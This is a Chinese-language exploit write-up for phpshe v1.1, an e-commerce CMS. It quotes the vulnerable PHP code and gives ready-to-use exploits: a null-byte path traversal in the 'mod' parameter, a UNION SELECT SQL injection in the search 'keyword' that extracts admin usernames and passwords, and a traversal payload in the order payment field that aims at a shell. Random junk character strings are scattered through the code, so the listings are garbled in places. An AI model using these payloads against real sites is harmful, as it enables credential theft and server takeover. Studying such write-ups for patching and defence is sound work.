phpshe v1.1多处SQL注入和文件包含漏洞Getshell

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/*******************************************************/
/* Phpshe v1.1 Vulnerability
7 L! {6 Q4 ^' F. d8 @/* ========================
/* By: : Kn1f3
* I8 d0 ^0 _4 G$ @/* E-Mail : 681796@qq.com
  ^/ U3 }' h" @2 s2 z0 Z5 v$ ~! a, ]/*******************************************************/
0×00 整体大概参数传输


7 M9 {# H. U$ k6 g" |* k
//common.php
" {6 E2 j- j8 o. Eif (get_magic_quotes_gpc()) {
0 i1 N( G7 `& J/ a7 ~1 \3 k!empty($_GET) && extract(pe_trim(pe_stripslashes($_GET)), EXTR_PREFIX_ALL, '_g');
!empty($_POST) && extract(pe_trim(pe_stripslashes($_POST)), EXTR_PREFIX_ALL, '_p');
}
3 L) A4 H$ u6 ?else {
3 z$ \' X. [9 E- v8 W; u!empty($_GET) && extract(pe_trim($_GET),EXTR_PREFIX_ALL,'_g');
!empty($_POST) && extract(pe_trim($_POST),EXTR_PREFIX_ALL,'_p');
4 j; H8 n0 D: C# `; f# v4 O}
8 o6 d5 }: m/ T4 M& R# {3 G$ esession_start();
!empty($_SESSION) && extract(pe_trim($_SESSION),EXTR_PREFIX_ALL,'_s');
& q* V9 w! N9 A# E!empty($_COOKIE) && extract(pe_trim(pe_stripslashes($_COOKIE)),EXTR_PREFIX_ALL,'_c');

0×01 包含漏洞

. E& Q, G: u0 _8 b( J  k
//首页文件
5 t# ?5 ^' @* Z% Q7 Z+ B& ]9 C<!--?php include('common.php'); $cache_category = cache::get('category'); $cache_category_arr = cache::get('category_arr'); $cache_class = cache::get('class'); $cache_ad = cache::get('ad'); $cache_link = cache::get('link'); $cache_page = cache::get('page'); $web_qq = $cache_setting['web_qq']['setting_value'] ? explode(',', $cache_setting['web_qq']['setting_value']) : array(); $cart_num = pe_login('user') ? $db--->pe_num('cart', array('user_id'=>$_s_user_id)) : (unserialize($_c_cart_list) ? count(unserialize($_c_cart_list)) : 0);
include("{$pe['path_root']}module/{$module}/{$mod}.php");  //$mod可控造成“鸡肋”包含漏洞
pe_result();
?>
  R9 o8 C, {' {% Z' M* n//common 文件 第15行开始
% Q8 K( j& v! P3 V7 [: ^url路由配置
! H+ o' a* Y/ P" Z$module = $mod = $act = 'index';
0 r0 |# w5 O& x6 Z" R( E( M$mod = $_POST['mod'] ? $_POST['mod'] : ($_GET['mod'] ? $_GET['mod'] : $mod);
$act = $_POST['act'] ? $_POST['act'] : ($_GET['act'] ? $_GET['act'] : $act);
$id = $_POST['id'] ? $_POST['id'] : ($_GET['id'] ? $_GET['id'] : $id);
# h2 Z3 O7 k9 L7 E, T7 b* L5 ?  D//exp：http://127.0.0.1/phpshe_v1.1/index.php?mod=../../robots.txt%00

7 _0 W) i+ `% c( ~' `; X' {
0×02 搜索注入
  f8 b5 N* s" Q5 N4 v  U8 y
8 r4 j+ L; o" W& J/ P: y9 E7 L+ k% m<code id="code2">

//product.php文件
) H! l" p- y0 s3 M" Tcase 'list':
8 ~& u, o. ]/ J. V$category_id = intval($id);
  V- y3 k7 t4 E' {' E5 Z$info = $db->pe_select('category', array('category_id'=>$category_id));
//搜索
$sqlwhere = " and `product_state` = 1";
. a! I# o9 z9 J& |8 |pe_lead('hook/category.hook.php');
if ($category_id) {
where .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'";
}
2 d2 Z& e! p) L0 @; y3 u$_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //keyword变量未进行有效的sql语句过滤
if ($_g_orderby) {
$orderby = explode('_', $_g_orderby);
$sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}";
}
else {
$sqlwhere .= " order by `product_id` desc";
}
$info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page));
//热卖排行
$product_hotlist = product_hotlist();
//当前路径
- c* |( C* y$ O! P$nowpath = category_path($category_id);
$seo = pe_seo($info['category_name']);
include(pe_tpl('product_list.html'));
) z0 ]9 ?" _+ s//跟进selectall函数库
% b( U, O5 x% q7 D. Vpublic function pe_selectall($table, $where = '', $field = '*', $limit_page = array())
. _! {9 G6 K: T5 }{
//处理条件语句
$sqlwhere = $this->_dowhere($where);
' ~0 z9 n0 C- @4 Rreturn $this->sql_selectall("select {$field} from `".dbpre."{$table}` {$sqlwhere}", $limit_page);
  a+ o3 |( b" b$ N! U; t8 ]" z) `3 G}
" T( g9 M; ]3 M) {1 X//exp
product/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(admin_name,0x27,admin_pw,0x27)+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19 and+'1'='1
: Y- ^& W0 q0 d

</code>

: w; V1 O8 k( h( i- _; B; `0×03 包含漏洞2

: n5 k4 S2 a- b$ l<code id="code3">

//order.php

case 'pay':

$order_id = pe_dbhold($_g_id);

$cache_payway = cache::get('payway');

foreach($cache_payway as $k => $v) {

& Z+ P  y* R. p& X2 B5 Q6 t# s$ ~$cache_payway[$k]['payway_config'] = unserialize($cache_payway[$k]['payway_config']);

if ($k == 'bank') {

$cache_payway[$k]['payway_config']['bank_text'] = str_replace(array("\r", "\n", "\t"), '\n', $cache_payway[$k]['payway_config']['bank_text']);

}

2 l0 W" x, i3 L# j}

$order = $db->pe_select('order', array('order_id'=>$order_id, 'order_state'=>'notpay'));

4 |9 j2 o6 p: |3 @2 \2 S!$order['order_id'] && pe_error('订单号错误...');

' _0 f+ h5 C# y; a" A' Q' aif (isset($_p_pesubmit)) {

. ^, x) F2 g! S$ G4 lif ($db->pe_update('order', array('order_id'=>$order_id), $_p_info)) {

, Z9 ~; ^6 }4 x- G" J$info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));

) P, v/ g  L2 L! I( P0 pforeach ($info_list as $v) {

$order['order_name'] .= "{$v['product_name']};";

}

7 C! u) u9 s* }- r" Z0 S' Qecho '正在为您连接支付网站，请稍后...';

include("{$pe['path_root']}include/plugin/payway/{$_p_info['order_payway']}/order_pay.php");

}//当一切准备好的时候就可以进行"鸡肋包含了"

; D0 L5 Z& t5 i, G" e! E( c8 e1 Pelse {

pe_error('支付错误...');

- E5 v8 ?  a' B; o}

}

; j: ~- ?. R3 _$ I3 W0 E$seo = pe_seo('选择支付方式');

include(pe_tpl('order_pay.html'));

4 }, _/ F0 ^2 K* A/ h. lbreak;

}

//exp：

//http://127.0.0.1/phpshe_v1.1/index.php?mod=order&act=pay&id=1304070001

//info%5Border_payway%5D=alipay/../../../1.txt%00&pesubmit=%E7%AB%8B%E5%8D%B3%E6%94%AF%E4%BB%98</code>
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